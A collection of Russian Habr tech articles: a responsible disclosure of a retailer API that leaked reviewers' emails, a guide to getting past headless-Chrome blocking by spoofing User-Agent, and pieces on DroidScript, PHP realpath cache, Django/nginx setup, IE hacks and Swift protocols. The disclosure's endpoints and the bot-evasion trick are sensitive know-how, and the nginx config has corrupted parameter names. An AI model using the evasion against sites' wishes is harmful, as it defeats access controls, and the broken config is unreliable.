По причинам, которые мне не хочется объяснять, мне потребовалось доставать отзывы о товарах с сайта rozetka.ua. Когда у сайта нет публичного API, то приходится искать более изысканные варианты. Парсинг HTML-кода страниц оставил как крайний вариант и приступил к поиску более оптимальных путей извлечения данных.
Первым делом обнаружил мобильную версию сайта и, как оказалось, она является SPA. Все данные с помощью нехитрого API вытягивались через AJAX-запросы. Доступ есть ко всему, что требуется для получения отзывов:
Cписок категорий:
```
http://m.rozetka.ua/?action=getJSONDataFromAdapter&m[0]=getOffersSections&p[0]=['123',0,15]
```
Cписок товаров:
```
http://m.rozetka.ua/?action=getJSONDataFromAdapter&m[0]=getOffersByParams&p[0]=['123',{},0,15]
```
Cписок отзывов:
```
http://m.rozetka.ua/?action=getJSONDataFromAdapter&m[0]=getCommentsByOffer&p[0]=['123',0,15]
```
Значению p[0], кстати, необходимо было 2 раза сделать URL encoding. Зачем это было сделано — загадка.
Как только я добрался до получения отзывов, моим глазам предстала такая картина:
```
{
"content": [
{
"result": {
"_0": {
"text": "[ТутБылТекстОтзыва]",
"created": "2015-02-13T17:22:17+02:00",
"user": {
"title": "Вася",
"email": "вася@example.com"
},
"positive_vote_count": "0",
"negative_vote_count": "0",
"rating": "0",
"percent_dignity": "0"
},
...
"_3": {
"text": "[ТутБылТекстОтзыва]",
"created": "2015-02-09T11:30:44+02:00",
"user": {
"title": "Виктор Викторович",
"email": "виктор@example.com"
},
"positive_vote_count": "1",
"negative_vote_count": "0",
"rating": "0",
"percent_dignity": "100"
}
},
"code": "0"
}
],
"code": 1
}
```
Как можно увидеть, кроме имени пользователя присутствует и его email. Необходимо упомянуть несколько фактов об отзывах в этом интернет-магазине:
* Email для авторизованных пользователей подставляется автоматически;
* Без указания email-а нельзя опубликовать отзыв;
* Все отзывы проходят модерацию;
* Некоторые люди указывают кроме имени ещё и фамилию/отчество.
Итак, мы имеем большую базу данных email-ов с именами, а иногда и с фамилиями, таргетированную по определённым группам товаров. Так как я никогда не имел дел с внутренностями «Розетки», то решил, что этот ответ, возможно, скоро поправят и забыл об этом сайте на месяц.
В феврале этого года «Розетка» выкатила редизайн и я решил проверить состояние уязвимости в мобильной версии. Оказалось, что версия API обновилась до 3-й (видимо, ранее была вторая версия), в которой немного изменили структуру запросов и ответов. Переход на страницу отзывов и открытие инструментов разработчика показало, что email более не приходит в ответе на запрос. Осталось только поле имени. На этом можно было бы остановиться и забыть про этот случай. Но интерес одолел меня и я решил выполнить запрос по старой ссылке. На что браузер мне успешно вернул тот же самый ответ. Старый API не закрыт, уязвимость на месте.
На следующий день было написано письмо разработчикам интернет-магазина. Мне оперативно ответили, подтвердили уязвимость и через несколько часов API второй версии был прикрыт. Насколько я понял, этот API первоначально использовался для внутренних нужд, а когда его вывели на публику, то email остался. После прихода третьей версии, вторая версия продолжала работать.
Как всегда, простейшая невнимательность в нашей профессии может привести к печальным последствиям… | https://habr.com/ru/post/252475/ | null | ru | null |
# Как обойти запрет доступа к страницам с помощью Chrome в headless-режиме
Некоторые сайты блокируют Chrome в headless-режиме, и мы рассмотрим, как обойти эту блокировку.
Диагностика – это ключ ко всем аспектам компьютеров и программирования. Эта статья начинается с того, как самостоятельно разобраться с этой проблемой блокировки. Если вам это не интересно, то можете сразу перейти к пункту «Решение» в конце статьи.
При возникновении проблем с headless-режимом, не забывайте делать скриншот через page.screenshot(), чтобы видеть, что происходит. Это, как минимум, позволит узнать, имеете ли вы дело с тем же видимым контентом, который отображается в «обычном» (управляемом) режиме браузера, а также узнать, не застряли ли вы на месте из-за сломанного скрипта, ничего не понимая.
В данном примере сам сервер даже не отправил соответствующую веб-страницу.
Первоначальный ответ – страница «Доступ запрещен», и это все, что можно получить при работе Chrome в headless-режиме. Чего вовсе не происходит в управляемом режиме.
В процессе диагностики важно определить, что мы знаем, и чего мы не знаем. Без этого шага невозможно придерживаться плана действий, направленного на то, чего мы не знаем, и при этом включающего в себя только необходимые пункты. Это может показаться элементарным, но если вы не понимаете, зачем это нужно, то прийти к этому не так уж легко. Иногда диагностику понимают как проход по списку пунктов, но это работает только в том случае, когда с ошибкой уже сталкивались ранее.
Что мы знаем? Мы знаем, что браузер сделал единичный запрос, и мы получили ответ, сообщивший, что доступ запрещен. Исходная страница не была отрисована, и браузер не отправил какие-либо другие запросы. Это означает, что сервер обратился куда-то, строго основываясь на том, что мы отправили в том первом запросе, и что наша блокировка не имеет никакого отношения к контенту страницы. Это исключает из диагностики все, что имеет место быть после отрисовки страницы, и сужает размах диагностики исключительно до запроса. Сам по себе запрос – набор битов и байтов, отправленных по интернету и принятых сервером.
### Сравнение заголовков HTTP-запроса
Поскольку есть (должна быть) небольшая разница между Chrome, запущенном в headless-режиме, и Chrome, запущенном в «обычном» режиме, логично предположить, что основной сетевой стек один и тот же, и нет никакой разницы, как браузер передает запросы на уровне пакетов. Это говорит о том, что нужно заострить внимание только на содержимом запроса. Можно воспользоваться сервисом, который возвращает нам же наши HTTP-запросы (эхо-сервисом), чтобы найти отличия между запросом, сделанным в headless-режиме, и запросом, сделанным в обычном режиме. Скрипт ниже использует <http://scooterlabs.com/echo.json> для получения JSON-ответа, который представляет запрос, полученный сервером.
```
const puppeteer = require('puppeteer');
(async() => {
const browser = await puppeteer.launch({
});
const page = (await browser.pages())[0];
const response = await page.goto('http://scooterlabs.com/echo.json');
console.log(await response.json());
await browser.close();
})()
```
Запуская его как в headless-режиме (по умолчанию), так и в «обычном» режиме (с помощью добавления headless:false в параметры запуска), можно сравнить вывод в консоли, чтобы найти отличия, если таковые присутствуют.
*time\_utc* – это время, в которое мы сделали запрос. Оно различается, но маловероятно, что это – единственный источник блокировки, если только сайт не блокирует все запросы в определенное время суток.
Заголовок *Accept-Language* отсутствует в случае headless-режима. На самом деле это хороший сигнал того, что кто-то использует нестандартный браузер (или режим браузера), и что браузер мог бы использовать отсутствие этого заголовка для того, чтобы блокировать нас. Это могло бы быть моей первой догадкой, если бы у нас также не было последнего отличающегося заголовка – *User-Agent*.
User-Agent явно выделяется. Это отличие выявляет важную деталь, при этом с помощью этого заголовка headless-режим выдает себя:
Заголовок для управляемого человеком Chrome по большей части такой же, если убрать «Headless». User-Agent долгое время был основным, бесхитростным способом блокировки нежелательного трафика. Это хорошее отправная точка для получения ответа на вопрос, получаем ли мы то, что нам нужно.
Блокировка по User-Agent в наше время считается простой и редко используемой мерой противодействия из-за простоты ее обхода. В действительности для сайта было бы полезнее использовать ее не для блокировки, а для распознавания нежелательного трафика, поскольку визуальная доступность лучше отсутствия таковой.
### Решение (много текста, не читал)
Решить проблему блокировки так же просто, как и поменять заголовок User-Agent. Его можно переопределить на постраничном уровне методом page.setUserAgent(). Вы можете установить пользовательский агент на агент для Chrome в «обычном» режиме, который, на момент написания этой статьи, выглядит так: «Mozilla/5.0 (Macintosh; Intel Mac OS X 10\_14\_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.75 Safari/537.36».
Это все, что требуется сделать. Вот почему сам подход диагностики важнее, чем это решение. Эти разного рода препятствия все время всплывают при попытках автоматизировать сайты и зачастую в интернете не найти конкретные ответы, поэтому вам придется разбираться с ними своими силами. Удачи, и не стесняйтесь связываться со мной по любым вопросам! | https://habr.com/ru/post/509358/ | null | ru | null |
# DroidScript – простой и функциональный инструмент для разработки мобильных приложений под Android
Некоторое время назад мне была поставлена следующая задача: разработать прототип приложения под Android для беспроводной связи с Arduino в реальном времени. Погружаться ради этого с головой в Java, Qt или C# было непрактично, поэтому решил искать готовое решение на скриптовом движке. PhoneGap? Интересно, но не для работы с Bluetooth. Что-то из мобильных сред разработки? Возможно, но хотелось работать в привычной десктопной среде, а не на планшете с небольшим экраном. Вскоре желаемое нашлось – мобильная среда разработки DroidScript с возможностью подключения к ней из браузерной WiFi IDE, которую можно установить на Windows, Mac и Linux.
### Что такое DroidScript?
DroidScript представляет собой приложение Android, которое включает в себя среду разработки и выполнения программного кода на Android устройстве. Он позволяет создавать приложения двух типов – JavaScript (с нативным интерфейсом) и HTML (гибридные).
Для создания нативного UI и доступа к программно-аппаратным ресурсам Android, JavaScript используется совместно с API DroidScript, который позволяет работать с WebView, SQLite, email, SMS, WebGL, сенсорами, Web-серверами, сокетами, спрайтовой анимацией и многим другим, а также осуществлять взаимодействие с внешними устройствами посредством Bluetooth, WiFi, USB и LAN.
Впечатляющая функциональность ”из коробки” – это одна из особенностей DroidScript. Другая особенность – простота его использования. В чём она состоит? Прежде всего, в кодировании. Ниже дан пример кода простого приложения:
```
// функция инициализации
function OnStart()
{
// создаём линейный компоновщик во всю область экрана
var lay = app.CreateLayout( "linear", "FillXY" );
// создаём кнопку с шириной 30% и высотой 10% относительно размеров экрана
var btn = app.CreateButton( "Кнопка", 0.3, 0.1 );
// задаём размер надписи на кнопке
btn.SetTextSize( 18 );
// задаём обработчик нажатия на кнопку
btn.SetOnTouch( function(){
app.ShowPopup( "Привет, Андроид!" ); // всплывающее сообщение
app.Vibrate( "0,100,30,100,50,300" ); // вибросигнал
});
// добавляем кнопку компоновщику
lay.AddChild( btn );
// добавляем компоновку объекту приложения для её отображения на экране
app.AddLayout( lay );
}
```
Всё кодируется на JavaScript и API DroidScript без использования xml-разметки, подключения библиотек, создания классов и др.
В DroidScript нет визуальных средств проектирования интерфейса, как в Android Studio, AIDE или MIT App Inventor, но в нём можно реализовать LivePreview на Android для ещё более быстрой разработки интерактивных прототипов, а также расширить функциональность при помощи плагинов, написанных на JavaScript или Java.
Простота работы с DroidScript заключается не только в кодировании. Он изначально разрабатывался так, чтобы дать начинающим разработчикам под Android просто и быстро погрузиться в этот процесс.
### Установка и настройка
В случае отсутствия под рукой телефона или планшета с операционной системой Android можно воспользоваться её эмулятором, например, [BlueStacks](http://www.bluestacks.com/ru/index.html) или [Nox APP Player](https://www.bignox.com/).
Устанавливаем [DroidScript](https://play.google.com/store/apps/details?id=com.smartphoneremote.androidscriptfree) из [Google Play](https://play.google.com/store) и открываем его. На экране появляется интерфейс с единственным приложением Hello World в области приложений.
Короткое касание пиктограммы приложения приведёт к его запуску. Для редактирования кода нужно выполнить долгое касание пиктограммы и выбрать опцию Edit в появившемся списке действий.
Панель управления включает в себя кнопки для доступа к документации, соединения с WiFi IDE, общим командам и примерам.
Настройка удалённой среды разработки WiFi IDE происходит так:
1. Запускаем DroidScript и переходим в настройки по команде …/Settings для изменения пароля доступа или его сброса.
2. В панели управления нажимаем кнопку со стрелкой вверх. Появляется диалог с адресом DroidScript.
3. На настольном компьютере или ноутбуке открываем браузер и вводим полученный в предыдущем пункте адрес. Появляется диалог запроса пароля, если он не был сброшен. Вводим пароль, и после успешного получения доступа на экране отобразится интерфейс среды разработки.
В левой части окна располагаются вкладки с областью приложений, редактором, ресурсными файлами, а в правой — вкладки с новостями, справкой, примерами и отладчиком.
В WiFi IDE заложена возможность расширения его функциональности за счёт добавления вкладок. Вкладка “Espruino” является примером данного расширения.
В самом простом случае приложение может состоять из одного файла с расширением js, в котором код хранится в исходном виде. Для обмена проектом в исходном коде его можно запаковать в spk-архив. Также возможна сборка проекта в apk-файл, но для этого необходимо купить и установить плагин ApkBuilder.
Когда впервые видишь столь простые интерфейсы DroidScript и WiFi IDE, после работы в десктопной или web-среде, то возникает логичный вопрос, а можно ли с помощью этого cделать что-то серьёзное? Безусловно! Как известно, и с помощью простых инструментов можно создавать впечатляющие вещи!
Документация
------------
* [Официальная страница](http://droidscript.org/)
* [Официальный форум DroidScript](https://groups.google.com/forum/#!forum/androidscript)
* [Вики DroidScript](http://wiki.droidscript.me.uk/doku.php)
* [Справочное руководство по DroidScript на русском языке](http://droidscript.ru/)
Также отдельные энтузиасты выкладывают учебные пособия на YouTube. | https://habr.com/ru/post/326460/ | null | ru | null |
# PHP и realpath_cache
*От переводчика: разбираясь на днях с ошибкой, возникшей после деплоя сервиса, натолкнулся на эту замечательную статью про механизм кэширования файловых статусов в PHP. Предлагаю сообществу перевод.*
Слышали ли вы про PHP-функции `realpath_cache_get()` и `realpath_cache_size()`? А может быть про параметры `realpath_cache_size` и `realpath_cache_ttl` в php.ini?
Кэш realpath — довольно важный механизм PHP, который нужно иметь в виду. Особенно, когда приходится работать с символическими ссылками, например, при деплое проекта. Настройка кэширования realpath может значительно влиять на быстродействие сервера и нагрузку на дисковую подсистемы сервера. Этот параметр был введен в версии 5.1, когда начали появляться первые PHP-фреймворки.
Далее мы разберемся, как все это работает под капотом, и как с этим жить. Под катом много ссылок на исходники.
Вспоминаем о системном вызове stat()
====================================
Вы знаете, как работает ваша система? Давайте я освежу вашу память. Когда вы работаете с *путём*, системное ядро и файловая система должны понимать, что вы от них хотите. Когда вы используете *путь* для доступа к файлу, ваша библиотека или ядро системы должны разрешить его. Разрешение пути — это получение информации о нем: это файл, директория или, может быть ссылка?
Один из способов сделать это — спросить систему о типе файла. В случае, если попалась ссылка, узнать о целевом файле. Когда вы используете относительные пути (вроде "`../hey/./you/../foobar`"), необходимо сначала получить абсолютный путь, а уже потом получать информацию о конечном файле.
Обычно для разрешения относительного пути используется C-функция [realpath()](http://repo.or.cz/w/glibc.git/blob/edea402804bce917cfd7cd1af76212e6364c23db:/stdlib/canonicalize.c#l43 "realpath"). Она, в свою очередь, делает системный вызов [stat()](http://repo.or.cz/w/glibc.git/blob/edea402804bce917cfd7cd1af76212e6364c23db:/stdlib/canonicalize.c#l161 "stat").
Вызов stat() достаточно тяжелый. Во-первых, это системный вызов, влекущий за собой прерывание и переключение конекста. Во-вторых, работает с данными на медленном диске. В [коде](https://github.com/torvalds/linux/blob/bb668734c4c960c8f61f017585b323b97e5f47b5/fs/stat.c#L177) можно найти обращения к файловой системе inode->getattr(). Обычно ядро использует собственный кэш ([buffer-cache](http://www.faqs.org/docs/linux_admin/buffer-cache.html)), поэтому влияние на производительность должно быть незначительным. Однако, на нагруженном сервере кэш может не содержать необходимую информацию, что влечет за собой повышенную нагрузку на дисковую подсистему. Поэтому, в наших же интересах предупреждать такое поведение.
Что делает PHP?
===============
Проекты, написанные на PHP, обычно хранятся во множестве файлов. Сегодня мы используем тонны классов, означающих наличие тонны файлов (поскольку используем по файлу на каждый класс). Вне зависимости от того, используем мы механизм автоматической загрузки (autoload) или нет, мы должны подключать все эти файлы, чтобы прочитать код внутри них, а для этого сделать вызов `stat()` для получения информации о файле. Поэтому, когда мы получаем доступ к файлу из PHP, он сначала разрешает пути и ссылки, потом получает информацию о файле через системный вызов `stat()`, а потом сохраняет полученный результат в свой собственный кэш, называемый `realpath cache`.
PHP использует данный кэш только при работе функции `realpath()`. Вся остальная информация о файле вроде владельца, группы, прав доступа и временных меток сохраняется в отдельный кэш — `access cache`. Давайте посмотрим в исходники: когда происходит обращение к файлу, вызывается функция [php\_resolve\_path()](http://lxr.php.net/xref/PHP_5_5/main/fopen_wrappers.c#473 "php_resolve_path"). Эта функция делает вызов [tsrm\_reapath()](http://lxr.php.net/xref/PHP_5_5/TSRM/tsrm_virtual_cwd.c#1925 "calls"), которая внутри выполняет [virtual\_file\_ex()](http://lxr.php.net/xref/PHP_5_5/TSRM/tsrm_virtual_cwd.c#1151 "virtual_file_ex") и [tsrm\_realpath\_r()](http://lxr.php.net/xref/PHP_5_5/TSRM/tsrm_virtual_cwd.c#750 "tsrm_realpath_r").
И в этом месте происходят интересные вещи: вызываются функции вроде [realpath\_cache\_find()](http://lxr.php.net/xref/PHP_5_5/TSRM/tsrm_virtual_cwd.c#830) для поиска сохраненных в кеше данных для запрашиваемого файла. Для хранения информации используется структура [realpath\_cache\_bucket](http://lxr.php.net/xref/PHP_5_5/TSRM/tsrm_virtual_cwd.h#211), которая инкапсулирует большой пакет данных:
```
typedef struct _realpath_cache_bucket {
unsigned long key;
char *path;
int path_len;
char *realpath;
int realpath_len;
int is_dir;
time_t expires;
#ifdef PHP_WIN32
unsigned char is_rvalid;
unsigned char is_readable;
unsigned char is_wvalid;
unsigned char is_writable;
#endif
struct _realpath_cache_bucket *next;
} realpath_cache_bucket;
```
Если данные в кэше не найдены, вызывается функция [php\_sys\_lstat()](http://lxr.php.net/xref/PHP_5_5/TSRM/tsrm_virtual_cwd.h#139), которая является прокси для системного вызова lastat(). Результат этого вызова [сохраняется](http://lxr.php.net/xref/PHP_5_5/TSRM/tsrm_virtual_cwd.c#1139) в realpath cache.
Настройки PHP
=============
Итак, со стороны PHP нам необходимо знать несколько вещей про realpath cache. Для начала, настройки `php.ini`:
[realpath\_cache\_size](http://www.php.net/manual/en/ini.core.php#ini.realpath-cache-size)
[realpath-cache-ttl](http://www.php.net/manual/en/ini.core.php#ini.realpath-cache-ttl)
В документации есть ремарка про увеличение этих параметров на серверах, где исходный код меняется редко. Так же стоит учесть, что стандартный размер кэша 16КБ ничтожно маленький. Он весь исчерпается одним запросом с фреймворком вроде Symfony2. Для поддержания настройки размера кэша в актуальном состоянии стоит следить за выводом функции [realpath\_cache\_get()](http://php.net/manual/ru/function.realpath-cache-get.php). Если доступный объем быстро исчерпывается — это явный повод увеличить размер кэша вплоть до 1МБ. В случае, если кэш переполнится, PHP начнет злоупотреблять вызовами stat(), что напрямую скажется на производительности. Требуемый размер кэша сложно посчитать с достаточной точностью. Покопавшись в [исходниках](http://lxr.php.net/xref/PHP_5_5/TSRM/tsrm_virtual_cwd.c#643), можно сделать вывод, что каждая сущность в кэше занимает место, равное: ``sizeof(realpath_cache_bucket) + кол-во символов разрешенного пути + 1``
Для 64-битной системы (LP64) sizeof(realpath\_cache\_bucket) = 56 байт.
Есть еще другая особенность. PHP разрешает каждый путь, с которым сталкивается во время работы, разбивая его на части. Если вы запросите файл `/home/julien/www/fooproject/app/web/entry.php`, PHP разобъет его на максимальное кол-во доступных путей, начиная от корня. Таким образом, он сначала сохранит в кэш `/home`, потом `/home/julien`, потом `/home/julien/www` и т.д.
Почему? Для начала, это требуется для проверки доступа к каждому уровню пути. Во-вторых, многие пользователи формируют пути, используя конкатенацию, поэтому, PHP может проверять пути по частям, каждый раз запрашивая уже закэшированную сущность. Доступ к кэш очень быстрый, детали можно посмотреть в исходниках [tsrm\_realpath\_r()](http://lxr.php.net/xref/PHP_5_5/TSRM/tsrm_virtual_cwd.c#750). Это
рекурсивная функция, вызываемая по умолчанию на каждый элемент пути.
Итого, первый вывод из предыдущего параграфа: кэш — это хорошо!
Второй — «дернуть» несколько страница сайта после выкладки — необходимая задача перед открытием публичного доступа к сайту. Это не только сбросит OPcode cache, но так же актуализирует realpath cache и page cache ядра системы.
Как очистить кэш realpath? Функция, выполняющая эту задачу, спрятана от посторонних глаз. `realpath_cache_clear()`? Нет, такой функции не существует :(. Зато, в лучших традициях PHP, есть [clearstatcache(true)](http://php.net/manual/ru/function.clearstatcache.php). Параметр `true` очень важный и зовется он `$clear_realpath_cache`. Очевидно, что он как раз и служит поставленным целям.
Пример
======
Возьмем с потолка простой пример^
```
php
$f = @file_get_contents('/tmp/bar.php');
echo "hello";
var_dump(realpath_cache_get());
</code
```
**Вот, что он нам выведет**
```
hello
array(5) {
["/home/julien.pauli/www/realpath_example.php"]=>
array(4) {
["key"]=>
float(1.7251638834424E+19)
["is_dir"]=>
bool(false)
["realpath"]=>
string(43) "/home/julien.pauli/www/realpath_example.php"
["expires"]=>
int(1404137986)
}
["/home"]=>
array(4) {
["key"]=>
int(4353355791257440477)
["is_dir"]=>
bool(true)
["realpath"]=>
string(5) "/home"
["expires"]=>
int(1404137986)
}
["/home/julien.pauli"]=>
array(4) {
["key"]=>
int(159282770203332178)
["is_dir"]=>
bool(true)
["realpath"]=>
string(18) "/home/julien.pauli"
["expires"]=>
int(1404137986)
}
["/tmp"]=>
array(4) {
["key"]=>
float(1.6709564980243E+19)
["is_dir"]=>
bool(true)
["realpath"]=>
string(4) "/tmp"
["expires"]=>
int(1404137986)
}
["/home/julien.pauli/www"]=>
array(4) {
["key"]=>
int(5178407966190555102)
["is_dir"]=>
bool(true)
["realpath"]=>
string(22) "/home/julien.pauli/www"
["expires"]=>
int(1404137986)
```
Что мы видим? Полный путь до скрипта разрешается по частям, с самого начала. Так как файл `/tmp/bar.php` не существует, записи о нем нет в кэше. Однако, путь до `/tmp` разрешен, поэтому каждый следующий запрос во вложенные файлы будет немного быстрее, чем в первый раз.
В возвращаемом функцией `realpath_cache_get()` массиве можно посмотреть такую важную информацию, как время устаревания записи. Это значение посчитано на основе времени доступа к файлу и настройки `realpath_cache_ttl`.
Поле `key` — хэш разрешенного пути. Используется вариант алгоритма [FNV](https://ru.wikipedia.org/wiki/FNV). Это внутренняя информация, которая вряд ли понадобится в практическом смысле. Хэш может быть как int, так и float, в зависимости от размера `INT_MAX`.
Если сейчас вызвать `clearstatcache(true)`, этот массив обнулится и PHP будет снова делать системный вызов `stat()` на каждый запрашиваемый файл, который раньше уже был закэширован.
Поговорим про кэш OPcode
========================
Готовы к очередному подводному камню?
Кэш realpath привязан к конкретному процессу и не сохраняется в разедляемую память (shared memory).
Это означает, что каждый раз, когда элемент кэша устаревает, изменяется или кэш очищается вручную, это необходимо делать для каждого запущенного процесса. Именно из-за этого пользователи часто испытывают трудности при развертывании приложения на серверах, использующих кэш OPCode.
Что обычно происходит во время выкладки проекта? Чаще всего мы просто заменяем символическую ссылку с одной версии на другую, например, с `/www/deploy-a` на `/www/deploy-b`. И тут все обычно забывают, что кэш OPcode (по крайней мере OPCache и APC) полагаются на внутрений кэш realpath. Поэтому, механизмы кэширования OPcode не видят изменений символических ссылок и обновляют кэш только по мере его устаревания. Ну а дальше вы и так все знаете :)
Лучшим найденным решением для предотвращения этого побочного эффекта стало подготовка отдельного пула воркеров PHP и переключения балансировщика на него, позволяя старым воркерам нормально завершить работу. Это позволяет изолировать две версии друг от друга, тем самым, предотвратив использование неактуального кэша. Все окружение, включая кэш realpath и кэш OPCode, будет новым. Этот прием доступен как минимум при использовании Lighttpd и Nginx. И он успешно работает в продакшне.
Конец
=====
Меня попросили написать несколько строк о кэше realpath. Скорее всего из-за проблем, возникающих при выкладке кода. Ну, теперь вы знаете, как это работает и как этим управлять.
P.S. от переводчика:
Из [древних мейл-листов](http://grokbase.com/p/php/php-internals/049n87eype/php-dev-realpath-caching) php-internals:
> Just a thought, should clearstatcache() force the reset of the cache? I cant think of many situations where you would re-build directory tree's on the fly, but you never know what to expect from PHP users :) | https://habr.com/ru/post/266909/ | null | ru | null |
# Мониторим Django проекты в top'e
*В этой статье я опишу как настроить Django так, что б на сервере в top'е можно было видеть нагрузку на сервер от каждого из Django-проектов.*
#### 1 — Установка Django на FreeBSD из портов
У меня на сервере стоит FreeBSD 8.0, всяческие полезности типа MySQL, Python2.6, nginx и пр уже установлены. Наиболее простым способом установки Django я избрал простую и банальную установку из портов:
`cd /usr/ports/www/py-django
make install clean`
при установке выбираем
`[X] POSTGRESQL PostgreSQL support
[X] MYSQL MySQL support
[X] FASTCGI FastCGI support`
Django 1.3.1 установлен в /usr/local/lib/python2.6/site-packages/django и готов к работе.
#### 2 — Подготавливаем почву к работе Django
Профи рекомендуют хранить проекты в отдельной дире (например, у какого-то пользователя в /data рядом с /www). Прислушаемся к профи и заселим проекты к деф-пользователю хостинга — **hostalot** его завут.
Django проекты будут жить по следующему пути — /home/hostalot/data/django
Создаём симлинк на Django в этой дире и проверяем:
`cd /home/hostalot/data/django
ln -s /usr/local/lib/python2.6/site-packages/django django
python
>>> import django
>>> exit()`
#### 3 — Создаём новый проект
Создадим Django-проект для сайта hostalot.ru, тк точки использовать нельзя, заменяем на подчёркивание — **hostalot\_ru**
Заодно неупустим момент и создадим диру с статикой, которую в последствии будет отруливать непосредственно nginx (об этом ниже).
`python django/bin/django-admin.py startproject hostalot_ru
mkdir /home/hostalot/data/django/hostalot_ru/media`
В конфиг-файле нашего нового проекта (/home/hostalot/data/django/hostalot\_ru/settings.py) отредактируем настроечки в обязательном порядке.
#### 4 — Запуск Django проектов
Создаём исполняемый файл /usr/local/bin/hostalot\_ru
`#!/usr/local/bin/bash
exec -a hostalot_ru /usr/local/bin/python $1 $2 $3 $4 $5 $6 $7`
Далее создаём /usr/local/etc/rc.d/hostalot\_ru
`#!/usr/local/bin/bash
# Replace these three settings.
. /etc/rc.subr
name=hostalot_ru # your project name
rcvar=`set_rcvar`
load_rc_config $name
PROJDIR="/home/hostalot/data/django/$name"
PIDFILE="$PROJDIR/$name.pid"
HOST="127.0.0.1" # local
PORT="9010" # may be any foreach 9010-9900
METHOD="threaded" # may be "pre fork"
command=/usr/local/bin/$name
command_args=" $PROJDIR/manage.py runfcgi method=$METHOD host=$HOST port=$PORT pidfile=$PIDFILE"
run_rc_command "$1"`
Не забываем дать этим файлам права на выполнение:
`chmod 555 /usr/local/bin/hostalot_ru
chmod 555 /usr/local/etc/rc.d/hostalot_ru`
Добавляем в /etc/rc.conf автозапуск нашего проекта:
`hostalot_ru_enable="YES"`
Синхронизируем бд для Django и стартуем выделенного демона выполняющего наш проект:
`cd /home/hostalot/data/django/hostalot_ru
python ./manage.py syncdb
/usr/local/etc/rc.d/hostalot_ru restart`
#### Конфигурация nginx
Создаём файл с nginx'овым конфигом fastcgi для Django /usr/local/etc/nginx/django\_fastcgi:
`fastcgi_pass_header Authorization;
fastcgi_intercept_errors off;
fastcgi_param PATH_INFO $fastcgi_script_name;
fastcgi_param REQUEST_ruTHOD $request_ruthod;
fastcgi_param QUERY_STRING $query_string;
fastcgi_param CONTENT_TYPE $content_type;
fastcgi_param CONTENT_LENGTH $content_length;
fastcgi_param SERVER_PORT $server_port;
fastcgi_param SERVER_PROTOCOL $server_protocol;
fastcgi_param SERVER_NAME $server_name;
fastcgi_param REQUEST_URI $request_uri;
fastcgi_param DOCUMENT_URI $document_uri;
fastcgi_param DOCUMENT_ROOT $document_root;
fastcgi_param SERVER_ADDR $server_addr;
fastcgi_param REMOTE_USER $remote_user;
fastcgi_param REMOTE_ADDR $remote_addr;
fastcgi_param REMOTE_PORT $remote_port;
fastcgi_param SERVER_SOFTWARE "nginx";
fastcgi_param GATEWAY_INTERFACE "CGI/1.1";`
Создаём файл конфигурации домена /usr/local/etc/nginx/confs/hostalot\_ru.conf:
`server {
listen 193.106.172.16:80;
server_name hostalot.ru;
set $proot "/home/hostalot/data/django/hostalot_ru/media";
location / {
fastcgi_pass 127.0.0.1:9010;
include django_fastcgi;
client_max_body_size 120m;
access_log main;
error_log main;
root $proot;
}
location ~* ^/.+\.(htm|swf|flv|xml|ico|jpg|jpeg|js|css|png|gif|mpg|avi|mp3|zip|tgz|gz|rar|bz2|doc|xls|exe|ppt|txt|tar|mid|midi|wav|rtf|mpeg)$ {
root $proot;
limit_rate 2000K;
access_log off;
}
}`
Рестартуем nginx:
`/usr/local/etc/rc.d/nginx restart`
Итого: каждый Django-проект имеет свой демон, который в топе отмечен его суффиксом, вся статика кешируется нгинксом. | https://habr.com/ru/post/134208/ | null | ru | null |
# Еще один способ использования условных комментариев
Здравствуйте хабровчане, хотел поделиться еще одним вариантом валидного хака для Internet Explorer'а.
Так как выносить стили для IE отдельный файл не всегда удобно, особенно в некоторых проектах, когда стили для определенной страниц хочется видеть в одном файле.
Хочу описать два варианта решения данной проблемы:
##### 1. Вариант с использованием JavaScript:
Мы добавляем для body класс с именем браузера определенной версии, условные комментарии помогают избавиться от проблемы с неверным распознанием User Agent'а
```
```
В таком случае если необходимо изменить стиль блока только для IE
```
съешь ещё этих мягких **французских** булок, да выпей чаю
```
в CSS указывам:
```
.example p{
color: green;
}
.ie8 .example p{/*Только для IE 8*/
color: yellow;
margin-top: 8px;
}
.ie7 .example p{/*Только для IE 7*/
color: red;
margin-top: 5px;
}
.ie7 .example p strong,
.ie8 .example p strong{/*Для IE 7 и IE8*/
color: #000;
}
```
Но данный способ подходит не во всех случаях, например, когда у пользователя отключен JavaScript.
##### 2. Вариант без JavaScript и без вынесения стилей для IE в отдельный файл:
Такой вариант предусматривает создание обертки внутри body или вокруг самого элементу с определенным классом, которую будет видеть только IE:
```
съешь ещё этих мягких **французских** булок, да выпей чаю
```
Либо можно обойтись без общего класса для IE 7 и IE 8
```
съешь ещё этих мягких **французских** булок, да выпей чаю
```
и в CSS, классы указать через запятую:
```
.example p{
color: green;
}
.ie8 .example p{/*Только для ИЕ 8*/
color: yellow;
margin-top: 8px;
}
.ie7 .example p{/*Только для ИЕ 7*/
color: red;
margin-top: 5px;
}
.ie7 .example p strong,
.ie8 .example p strong{
color: #000;
}
```
[Пример использования](http://dl.dropbox.com/u/6972563/example.html)
P.S. Данный способ не является особенным или уникальным, но в некоторых случаях может быть полезен. | https://habr.com/ru/post/138118/ | null | ru | null |
# Протокольно ориентированное программирование, часть 2
В продолжение темы разберемся в протокольных типах и обобщенном (generic) коде.
По ходу будут рассмотрены следующие вопросы:
* реализация полиморфизма без наследования и ссылочных типов
* как объекты протокольных типов хранятся и используются
* как с ними работает отправка метода
**Протокольные Типы**
---------------------
**Реализация полиморфизма без наследования и ссылочных типов:**
```
protocol Drawable {
func draw()
}
struct Point: Drawable {
var x, y: Int
func draw() {
...
}
}
struct Line: Drawable {
var x1, x2, y1, y2: Int
func draw() {
...
}
}
var drawbles = [Drawable]()
for d in drawbles {
d.draw()
}
```
1. Обозначим протокол Drawable, который имеет метод draw
2. Реализуем этот протокол для Point и Line — теперь можно обращаться с ними, как с Drawable (вызывать метод draw)
Мы по прежнему имеем полиморфный код. Элемент d массива drawables имеет один интерфейс, который обозначен в протоколе Drawable, но имеет разные реализации своих методов, которые обозначены в Line и Point.
> Главный принцип (ad-hoc) полиморфизма: "Общий интерфейс — много реализаций"
**Dynamic dispatch без virtual-table**
